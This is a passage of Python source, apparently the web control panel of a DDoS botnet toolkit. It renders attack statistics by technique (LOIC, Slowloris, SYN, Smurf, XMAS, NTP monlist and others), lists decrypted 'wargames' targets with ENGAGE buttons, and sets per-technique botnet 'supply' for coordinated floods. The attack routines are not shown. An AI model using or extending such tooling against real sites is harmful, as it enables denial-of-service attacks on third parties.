  6063. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  6064. except:
  6065. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  6066. grid_table += "</table><br>"
  6067. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  6068. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr></table><br><hr><br>"
  6069. f.write(mother_table)
  6070. f.write(grid_table)
  6071. f.write(end_mark)
  6072. f.close()
  6073. else: # not valid stream data
  6074. pass
  6075. if page == "/cmd_decrypt_grid_update":
  6076. if not os.path.exists('/tmp/out'):
  6077. open('/tmp/out', 'w').close()
  6078. with open('/tmp/out', 'r') as f:
  6079. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  6080. if page == "/cmd_decrypt_wargames":
  6081. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  6082. wargames_join_flag = False # anti-join flag for non decrypted wargames
  6083. try:
  6084. wargames_deckey = pGet["wargames_deckey"]
  6085. except:
  6086. wargames_deckey = ""
  6087. end_mark = "[Info] [AI] End of decryption."
  6088. if wargames_deckey is not "": # wargames decryption
  6089. nodec_text = "KEY?"
  6090. try: # read global army supply from configuration file (json)
  6091. with open(self.mothership_supplycfg_file) as data_file:
  6092. data = json.load(data_file)
  6093. except:
  6094. if os.path.exists(self.mothership_supplycfg_file) == True:
  6095. print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
  6096. return
  6097. else: # generate default global army supply configuration file
  6098. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  6099. with open(self.mothership_supplycfg_file, "w") as f:
  6100. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4)
  6101. with open(self.mothership_supplycfg_file) as data_file:
  6102. data = json.load(data_file)
  6103. self.supply_botnet = data["botnet"]
  6104. self.supply_loic = data["loic"]
  6105. self.supply_loris = data["loris"]
  6106. self.supply_ufosyn = data["ufosyn"]
  6107. self.supply_spray = data["spray"]
  6108. self.supply_smurf = data["smurf"]
  6109. self.supply_xmas = data["xmas"]
  6110. self.supply_nuke = data["nuke"]
  6111. self.supply_tachyon = data["tachyon"]
  6112. self.supply_monlist = data["monlist"]
  6113. f = open(self.wargames_file,"r")
  6114. ls = f.readlines()
  6115. f.close()
  6116. if ls:
  6117. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  6118. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  6119. else:
  6120. wargames_autopanel = ""
  6121. wargames_supply = ""
  6122. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  6123. f = open("/tmp/out", "w")
  6124. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  6125. wargames_id = 1
  6126. for m in self.list_wargames_rev: # list = creation, target, estimated
  6127. if wargames_msg_sep in m:
  6128. m = m.split(wargames_msg_sep)
  6129. wargames_creation = m[0] # creation date
  6130. self.decrypt(wargames_deckey, wargames_creation)
  6131. if self.decryptedtext:
  6132. wargames_creation = self.decryptedtext
  6133. else:
  6134. wargames_creation = nodec_text
  6135. self.decryptedtext = "" # clean decryptedtext buffer
  6136. wargames_target = m[1] # target
  6137. wargames_target_joined = wargames_target
  6138. self.decrypt(wargames_deckey, wargames_target)
  6139. if self.decryptedtext:
  6140. wargames_target = self.decryptedtext
  6141. if wargames_target.startswith("www."):
  6142. wargames_target = wargames_target.replace("www.","")
  6143. else:
  6144. wargames_target = nodec_text
  6145. self.decryptedtext = "" # clean decryptedtext buffer
  6146. wargames_estimated = m[2] # estimated time
  6147. self.decrypt(wargames_deckey, wargames_estimated)
  6148. if self.decryptedtext:
  6149. wargames_estimated = self.decryptedtext
  6150. wargames_join_flag = True
  6151. else:
  6152. wargames_estimated = nodec_text
  6153. self.decryptedtext = "" # clean decryptedtext buffer
  6154. else:
  6155. wargames_target = "KEY?"
  6156. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6157. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  6158. try:
  6159. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  6160. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  6161. except: # discarding errors also on panel
  6162. wargames_creation = now
  6163. wargames_estimated = now
  6164. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  6165. wargames_creation = now
  6166. wargames_estimated = now
  6167. if (now >= wargames_estimated) == False: # change flag color when time is out
  6168. time_now = time.mktime(now)
  6169. time_estimated = time.mktime(wargames_estimated)
  6170. wargames_eta = (time_estimated - time_now)
  6171. hours, rem = divmod(wargames_eta, 3600)
  6172. minutes, seconds = divmod(rem, 60)
  6173. if "!!!" in wargames_target_joined:
  6174. status = "JOINED!"
  6175. wargames_status = "<font color='cyan'>"+status+"</font>"
  6176. if wargames_join_flag == True:
  6177. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  6178. else:
  6179. wargames_join = "KEY?" # present but with a different crypto-key
  6180. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  6181. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  6182. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  6183. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  6184. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  6185. else:
  6186. status = "-ONGOING-"
  6187. wargames_status = "<font color='orange'>"+status+"</font>"
  6188. if wargames_join_flag == True:
  6189. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  6190. else:
  6191. wargames_join = "KEY?" # present but with a different crypto-key
  6192. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  6193. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  6194. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  6195. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  6196. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  6197. else:
  6198. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  6199. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  6200. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  6201. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  6202. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  6203. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  6204. status = "-CLOSED-"
  6205. wargames_status = "<font color='red'>"+status+"</font>"
  6206. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  6207. wargames_id = wargames_id + 1
  6208. wargames_table += "</table><br>"
  6209. f.write(wargames_table)
  6210. f.write(end_mark)
  6211. f.close()
  6212. if page == "/cmd_decrypt_wargames_update":
  6213. if not os.path.exists('/tmp/out'):
  6214. open('/tmp/out', 'w').close()
  6215. with open('/tmp/out', 'r') as f:
  6216. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  6217. if page == "/cmd_decrypt_links":
  6218. self.pages["/cmd_decrypt_links"] = "<pre>Waiting for decrypting results...</pre>"
  6219. try:
  6220. link_deckey = pGet["link_deckey"]
  6221. except:
  6222. link_deckey = ""
  6223. end_mark = "[Info] [AI] End of decryption."
  6224. if link_deckey is not "": # links decryption
  6225. nodec_text = "KEY?"
  6226. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('creation','"+str(link_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('topic','"+str(link_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('url','"+str(link_deckey)+"')>URL:</a></td></tr>"
  6227. f = open("/tmp/out", "w")
  6228. self.list_links_rev = reversed(self.list_links) # order by DESC
  6229. for m in self.list_links_rev: # list = creation, topic, url
  6230. if links_msg_sep in m:
  6231. m = m.split(links_msg_sep)
  6232. link_creation = m[0] # creation date
  6233. self.decrypt(link_deckey, link_creation)
  6234. if self.decryptedtext:
  6235. link_creation = self.decryptedtext
  6236. else:
  6237. link_creation = nodec_text
  6238. self.decryptedtext = "" # clean decryptedtext buffer
  6239. link_url = m[1] # url
  6240. self.decrypt(link_deckey, link_url)
  6241. if self.decryptedtext:
  6242. link_url = self.decryptedtext
  6243. if link_url.startswith("www."):
  6244. link_url = link_url.replace("www.","")
  6245. else:
  6246. link_url = nodec_text
  6247. self.decryptedtext = "" # clean decryptedtext buffer
  6248. link_topic = m[2] # topic
  6249. self.decrypt(link_deckey, link_topic)
  6250. if self.decryptedtext:
  6251. link_topic = self.decryptedtext
  6252. else:
  6253. link_topic = nodec_text
  6254. self.decryptedtext = "" # clean decryptedtext buffer
  6255. else:
  6256. link_url = "KEY?"
  6257. links_table += "<tr><td align='center'>"+link_creation+"</td><td align='center'>"+link_topic+"</td><td align='center'><a href='http://"+str(link_url)+"' target='_blank'>"+str(link_url)+"</a></td></tr>"
  6258. links_table += "</table><br>"
  6259. f.write(links_table)
  6260. f.write(end_mark)
  6261. f.close()
  6262. if page == "/cmd_decrypt_links_update":
  6263. if not os.path.exists('/tmp/out'):
  6264. open('/tmp/out', 'w').close()
  6265. with open('/tmp/out', 'r') as f:
  6266. self.pages["/cmd_decrypt_links_update"] = "<pre>"+f.read()+"<pre>"
  6267. if page == "/cmd_decrypt_streams":
  6268. self.pages["/cmd_decrypt_streams"] = "<pre>Waiting for decrypting results...</pre>"
  6269. try:
  6270. stream_deckey = pGet["stream_deckey"]
  6271. except:
  6272. stream_deckey = ""
  6273. end_mark = "[Info] [AI] End of decryption."
  6274. if stream_deckey is not "": # streams decryption
  6275. nodec_text = "KEY?"
  6276. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('creation','"+str(stream_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('topic','"+str(stream_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('url','"+str(stream_deckey)+"')>STREAM:</a></td><td align='center'>VIDEO:</td></tr>"
  6277. f = open("/tmp/out", "w")
  6278. self.list_streams_rev = reversed(self.list_streams) # order by DESC
  6279. for m in self.list_streams_rev: # list = creation, topic, url
  6280. if streams_msg_sep in m:
  6281. m = m.split(streams_msg_sep)
  6282. stream_creation = m[0] # creation date
  6283. self.decrypt(stream_deckey, stream_creation)
  6284. if self.decryptedtext:
  6285. stream_creation = self.decryptedtext
  6286. else:
  6287. stream_creation = nodec_text
  6288. self.decryptedtext = "" # clean decryptedtext buffer
  6289. stream_url = m[1] # url
  6290. self.decrypt(stream_deckey, stream_url)
  6291. if self.decryptedtext:
  6292. stream_url = self.decryptedtext
  6293. if stream_url.startswith("www."):
  6294. stream_url = stream_url.replace("www.","")
  6295. else:
  6296. stream_url = nodec_text
  6297. self.decryptedtext = "" # clean decryptedtext buffer
  6298. stream_topic = m[2] # topic
  6299. self.decrypt(stream_deckey, stream_topic)
  6300. if self.decryptedtext:
  6301. stream_topic = self.decryptedtext
  6302. else:
  6303. stream_topic = nodec_text
  6304. self.decryptedtext = "" # clean decryptedtext buffer
  6305. stream_id = str(stream_url.split("v=")[1]) # extract (Youtube) VideoID
  6306. else:
  6307. stream_url = "KEY?"
  6308. stream_id = None
  6309. streams_table += "<tr><td align='center'>"+stream_creation+"</td><td align='center'>"+stream_topic+"</td><td align='center'><a href='http://"+str(stream_url)+"' target='_blank'>"+str(stream_url)+"</a></td><td align='center'><button id='play_button' value='"+stream_id+"' onclick='PlayStream();return false;'>PLAY!</button><div id='video'></div></td></tr>"
  6310. streams_table += "</table><br>"
  6311. f.write(streams_table)
  6312. f.write(end_mark)
  6313. f.close()
  6314. if page == "/cmd_decrypt_streams_update":
  6315. if not os.path.exists('/tmp/out'):
  6316. open('/tmp/out', 'w').close()
  6317. with open('/tmp/out', 'r') as f:
  6318. self.pages["/cmd_decrypt_streams_update"] = "<pre>"+f.read()+"<pre>"
  6319. if page == "/cmd_decrypt_globalnet":
  6320. self.pages["/cmd_decrypt_globalnet"] = "<pre>Waiting for decrypting results...</pre>"
  6321. try:
  6322. globalnet_deckey = pGet["globalnet_deckey"]
  6323. except:
  6324. globalnet_deckey = ""
  6325. end_mark = "[Info] [AI] End of decryption."
  6326. if globalnet_deckey is not "": # globalnet decryption
  6327. nodec_text = "KEY?"
  6328. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_owner' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('owner','"+str(globalnet_deckey)+"');>OWNER:</a></td><td align='center'><a id='filter_comment' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('comment','"+str(globalnet_deckey)+"')>COMMENT:</a></td><td align='center'><a id='filter_warp' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('warp','"+str(globalnet_deckey)+"')>WARPING:</a></td><td align='center'><a id='filter_ip' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('ip','"+str(globalnet_deckey)+"')>IP:</a></td></tr>"
  6329. f = open("/tmp/out", "w")
  6330. self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
  6331. for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
  6332. if globalnet_msg_sep in m:
  6333. m = m.split(globalnet_msg_sep)
  6334. globalnet_owner = m[0] # owner
  6335. self.decrypt(globalnet_deckey, globalnet_owner)
  6336. if self.decryptedtext:
  6337. globalnet_owner = self.decryptedtext
  6338. else:
  6339. globalnet_owner = nodec_text
  6340. self.decryptedtext = "" # clean decryptedtext buffer
  6341. globalnet_comment = m[1] # comment
  6342. self.decrypt(globalnet_deckey, globalnet_comment)
  6343. if self.decryptedtext:
  6344. globalnet_comment = self.decryptedtext
  6345. else:
  6346. globalnet_comment = nodec_text
  6347. self.decryptedtext = "" # clean decryptedtext buffer
  6348. globalnet_warp = m[2] # warp
  6349. self.decrypt(globalnet_deckey, globalnet_warp)
  6350. if self.decryptedtext:
  6351. globalnet_warp = self.decryptedtext
  6352. else:
  6353. globalnet_warp = nodec_text
  6354. if globalnet_warp == "OFF":
  6355. warp_color = "pink"
  6356. elif globalnet_warp == "ON1":
  6357. warp_color = "orange"
  6358. else: # ON2
  6359. warp_color = "blue"
  6360. self.decryptedtext = "" # clean decryptedtext buffer
  6361. globalnet_ip = m[3] # ip
  6362. self.decrypt(globalnet_deckey, globalnet_ip)
  6363. if self.decryptedtext:
  6364. globalnet_ip = self.decryptedtext
  6365. else:
  6366. globalnet_ip = nodec_text
  6367. self.decryptedtext = "" # clean decryptedtext buffer
  6368. else:
  6369. globalnet_owner = "KEY?"
  6370. globalnet_comment = "KEY?"
  6371. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'><font color="+warp_color+">"+str(globalnet_warp)+"</font></td><td align='center'><font color="+warp_color+">"+str(globalnet_ip)+"</font></td></tr>"
  6372. globalnet_table += "</table><br>"
  6373. f.write(globalnet_table)
  6374. f.write(end_mark)
  6375. f.close()
  6376. if page == "/cmd_decrypt_globalnet_update":
  6377. if not os.path.exists('/tmp/out'):
  6378. open('/tmp/out', 'w').close()
  6379. with open('/tmp/out', 'r') as f:
  6380. self.pages["/cmd_decrypt_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  6381. if page == "/blackholes":
  6382. self.pages["/blackholes"] = self.html_blackholes()
  6383. if page == "/requests":
  6384. if pGet=={}:
  6385. self.pages["/requests"] = self.html_requests()
  6386. else:
  6387. self.save_cfg(pGet)
  6388. self.pages["/requests"] = self.html_request_submit()
  6389. if page == "/abduction":
  6390. self.pages["/abduction"] = self.html_abduction()
  6391. if page == "/stats":
  6392. self.pages["/stats"] = self.html_stats()
  6393. if page == "/wormhole":
  6394. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  6395. ctype = "text/html"
  6396. if page.find(".js") != -1:
  6397. ctype = "application/javascript"
  6398. elif page.find(".txt") != -1:
  6399. ctype = "text/plain"
  6400. elif page.find(".ico") != -1:
  6401. ctype = "image/x-icon"
  6402. elif page.find(".png") != -1:
  6403. ctype = "image/png"
  6404. elif page.find(".css") != -1:
  6405. ctype = "text/css"
  6406. if page in self.pages:
  6407. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  6408. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  6409. class Command(object):
  6410. def __init__(self, cmd):
  6411. self.cmd = cmd
  6412. self.process = None
  6413. def run(self, timeout):
  6414. def target():
  6415. self.process = subprocess.Popen(self.cmd, shell=True)
  6416. thread = threading.Thread(target=target)
  6417. thread.start()
  6418. thread.join(timeout)
  6419. if thread.is_alive():
  6420. self.process.terminate()
  6421. thread.join()
  6422. if __name__ == "__main__":
  6423. webbrowser.open('http://127.0.0.1:9999', new=1)
  6424. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6425. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  6426. tcpsock.bind((host, port))
  6427. while True:
  6428. tcpsock.listen(4)
  6429. (clientsock, (ip, c_port)) = tcpsock.accept()
  6430. newthread = ClientThread(ip, c_port, clientsock)
  6431. newthread.start()